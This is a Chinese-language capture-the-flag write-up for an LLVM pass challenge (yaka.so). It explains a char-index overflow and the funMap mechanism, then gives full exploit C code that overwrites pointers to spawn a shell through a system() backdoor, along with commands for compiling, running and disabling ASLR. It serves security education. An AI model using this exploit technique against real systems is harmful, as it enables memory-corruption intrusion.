llvm pass pwn-1
字数 1269 2025-08-12 11:34:24
LLVM Pass Pwn 入门教学文档
环境配置
- 操作系统:Ubuntu 18.04
- 安装依赖:
apt-get install -y clang++-8 libc++-8-dev libc++abi-8-dev
题目分析
关键函数
程序包含以下关键函数:
gamestart(): 主函数fight(int a): 战斗函数merge(int a, int b): 合并函数destroy(int a): 销毁函数upgrade(int a): 升级函数wuxiangdeyidao(),zhanjinniuza(),guobapenhuo(),tiandongwanxiang(): 特殊技能函数
数据结构
- weaponlist: 全局数组,存储武器数据
- boss: 全局变量,存储boss血量
- funMap: 全局映射表,用于存储未知函数信息
函数逻辑分析
-
fight函数:
- 获取参数作为index
- 从weaponlist获取对应值
- 与boss血量比较
- 如果差值大于0x12345678,执行后门(包含system调用)
-
merge函数:
- 两个参数作为index
- 对weaponlist进行add操作
-
destroy函数:
- 参数作为index
- 将weaponlist对应位置置0
-
upgrade函数:
- weaponlist每个字节加上参数值
-
特殊技能函数:
- 都涉及对boss血量的操作
- 对后门参数进行操作
漏洞分析
-
funMap机制:
- 遇到未知函数时会将其存入funMap
- 函数在funMap中的位置决定了其在weaponlist中的写入位置
- 函数多次调用只会写入相同位置
-
char类型溢出:
- 循环使用的idx是char类型(-128~127)
- 通过足够多的函数调用可以实现负向溢出
-
关键全局变量:
- 都是指针类型
- 可以通过修改指针指向控制程序流
利用思路
-
控制weaponlist:
- 通过大量函数调用覆盖weaponlist
- 利用char类型溢出实现负向索引
-
修改关键指针:
- 修改cmd指针指向"sh"字符串
- 修改score指针使其指向有效地址
-
触发后门:
- 通过fight函数触发system调用
攻击步骤
-
生成大量函数:
from pwn import * import os str1 = '' for i in range(0x100): str1 += 'void fun{0:03}'.format(i) + '(int a);\n' str2 = '' for i in range(0x100): str2 += 'fun{0:03}'.format(i) + '(0);\n' -
定位关键地址:
- "sh"字符串地址: 0x6efdad (来自fflush函数)
- GOT表地址: 0x77dfd8
-
构造payload:
- 使用fun232-fun247覆盖关键指针
- 调用fight(1)触发漏洞
完整利用代码
void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();
void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);
// 生成256个函数声明
void fun000(int a); void fun001(int a); /* ... */ void fun255(int a);
void gamestart() {
// 填充前232个函数调用
fun000(0); fun001(0); /* ... */ fun231(0);
// 覆盖cmd指针 (0x6efdad "sh")
fun232(0xad); fun233(0xfd); fun234(0x6e);
fun235(0); fun236(0); fun237(0); fun238(0); fun239(0);
// 覆盖score指针 (0x77dfd8 GOT表)
fun240(0xd8); fun241(0xdf); fun242(0x77);
fun243(0); fun244(0); fun245(0); fun246(0); fun247(0);
// 填充剩余函数调用
fun248(0); /* ... */ fun255(0);
// 确保覆盖生效
fun232(0xad); fun233(0xfd); fun234(0x6e);
fun240(0xd8); fun241(0xdf); fun242(0x77);
// 触发漏洞
fight(1);
}
编译与执行
-
编译利用代码:
clang-8 -emit-llvm -S exp.c -o exp.ll -
执行攻击:
./opt-8 -load ./yaka.so -ayaka ./exp.ll
调试技巧
-
关闭ASLR:
echo 0 > /proc/sys/kernel/randomize_va_space -
关键断点:
- yaka.so的fight处理模块: 0x4b8e0e
- weaponlist操作位置: 0xD12E+基地址
-
查看全局变量:
- 使用调试器查看weaponlist、boss、funMap等全局变量
总结
- 利用LLVM Pass的特性,通过大量函数调用控制全局数组
- 利用char类型溢出实现负向索引
- 修改关键指针触发后门
- 通过调试确认内存布局和攻击效果
关键点在于理解funMap机制和char类型溢出,以及如何通过函数调用序列精确控制内存布局。